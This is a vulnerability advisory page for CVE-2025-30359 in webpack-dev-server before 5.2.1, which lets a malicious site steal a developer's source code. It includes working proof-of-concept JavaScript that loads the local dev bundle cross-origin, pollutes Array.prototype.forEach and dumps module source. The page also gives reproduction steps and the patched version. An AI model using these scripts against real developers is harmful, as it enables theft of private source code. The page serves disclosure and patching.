CVE-2025-30359: webpack-dev-server users' source code may be stolen when they access a malicious web site

Published Jun 3, 2025
·
Updated

Summary Source code may be stolen when you access a malicious web site.

Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in webpackmodules, the attacker can get the source code.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ 5. You can see the source code output in the document and the devtools console.

!image

The script in the POC site is: js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m }

const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach }

const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } }) document.head.appendChild(script)

This script uses the function generated by renderRequire. js // The require function function webpackrequire(moduleId) { // Check if module is in cache var cachedModule = webpackmodulecache[moduleId]; if (cachedModule !== undefined) { return cachedModule.exports; } // Create a new module (and put it into the cache) var module = webpackmodulecache[moduleId] = { // no module.id needed // no module.loaded needed exports: {} }; // Execute the module function var execOptions = { id: moduleId, module: module, factory: webpackmodules[moduleId], require: webpackrequire }; webpackrequire.i.forEach(function(handler) { handler(execOptions); }); module = execOptions.module; execOptions.factory.call(module.exports, module, module.exports, execOptions.require); // Return the exports of the module return module.exports; } Especially, it uses the fact that Array::forEach is called for webpackrequire.i and execOptions contains webpackrequire. It uses prototype pollution against Array::forEach to extract webpackrequire reference.

Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

<details> <summary>Old content</summary>

Summary Source code may be stolen when you use output.iife: false and access a malicious web site.

Details When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. webpackmodules). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object. By using Function::toString against the values in webpackmodules, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/ 5. Open the devtools console. 6. You can see the content of src/index.js and other scripts loaded.

!image

The script in the POC site is: js const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { for (const module in window.webpackmodules) { console.log(${module}:, window.webpackmodules[module].toString()) } }) document.head.appendChild(script)

Impact This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

</details>

Other sources

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in webpackmodules, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

— MITRE

Affected Software

3 affected componentsFixes available
webpack webpack-dev-server<5.2.1
npm/webpack-dev-server<=5.2.0
5.2.1
webpack.js webpack-dev-server<5.2.1

Event History

Jun 3, 2025
CVE Published
via MITRE·05:39 PM
Data Sourced
via MITRE·05:39 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
RemedyAffected Software
Jun 4, 2025
Advisory Published
via GitHub·09:09 PM
Data Sourced
via GitHub·09:09 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-30359?

CVE-2025-30359 has been rated as a high severity vulnerability due to the potential for source code theft.

2

How do I fix CVE-2025-30359?

To fix CVE-2025-30359, upgrade webpack-dev-server to version 5.2.1 or later.

3

What software is affected by CVE-2025-30359?

CVE-2025-30359 affects webpack-dev-server versions prior to 5.2.1.

4

What can attackers do with CVE-2025-30359?

Attackers can steal users' source code when they visit a malicious website while using a vulnerable version of webpack-dev-server.

5

Is there a patch available for CVE-2025-30359?

Yes, the patch for CVE-2025-30359 is included in webpack-dev-server version 5.2.1 and later.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203